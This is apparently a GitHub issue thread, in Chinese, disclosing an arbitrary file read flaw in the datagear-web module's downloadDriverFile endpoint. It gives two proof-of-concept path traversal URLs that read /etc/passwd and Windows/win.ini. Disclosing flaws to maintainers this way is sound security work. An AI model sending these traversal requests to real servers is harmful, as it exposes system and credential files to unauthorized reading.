存在任意文件读取漏洞

Question

Firebasky opened this issue 3 years ago · 2 comments

亲爱的朋友，该项目存在一个安全漏洞。

poc:
url/driverEntity/downloadDriverFile?id=1?file=../../.../../../../../../../etc/passwd

Answer 1 · 2022-01-07T06:12:10.000Z

漏洞存在是在datagear-web模块中

Answer 2 · 2022-01-07T07:05:45.000Z

poc:

/driverEntity/downloadDriverFile?id=1&file=../../.../../../../../../../../../Windows/win.ini